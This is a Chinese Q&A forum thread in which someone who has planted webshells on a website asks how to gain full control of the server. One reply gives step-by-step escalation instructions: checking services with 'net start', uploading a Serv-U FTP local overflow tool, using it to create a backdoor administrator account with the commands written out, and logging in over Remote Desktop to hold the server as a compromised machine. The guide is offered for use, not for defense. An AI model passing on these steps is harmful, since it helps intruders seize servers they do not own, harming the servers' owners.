我拿到webShells 了,但怎么能得到权限呢?有人教教我吗?我出500分...

发布网友发布时间：2024-09-26 18:31

共2个回答

热心网友时间：2024-09-29 19:39

利用webshell得到管理权限
在取得了网站的wehshell后应该如何提升权限，使我们得到整台服务器的管理权权限，控制整台服务器！
首先我们要进入shell找到可执行cmd命令的页面，执行net start命令，如果执行不成功，则说明些服务器没有cmd权限，如果执行成功，则会显示出此服务器所开启的服务。我们只要找到服务器开启了下面两个服务就可以了：
Serv-U FTP 服务器这个开启了ftp服务 serv-u FTP服务可以本地溢出
Terminal Services 这个是开启了3389服务
然后我们上传一个名为FTP.exe的serv-u FTP服务可以本地溢出工具，比如我们把工具传到了E盘，那么再在cmd命令处执行E:/ftp.exe "net user admin 123456 /add" 添加用户名为admin密码为123456的帐号，然后执行E:/ftp.exe "net localgroup administrators admin /add"添加admin用户为管理员，然后用3389登录器登录
如果服务器只是开启了ftp服务，得到权限后我们可以上传一个3389.exe开启3389终端服务
这样你就得到一台3389的肉鸡了。

热心网友时间：2024-09-29 19:35

webShells 是什么意思？？？？？？？？？？？？？？？？？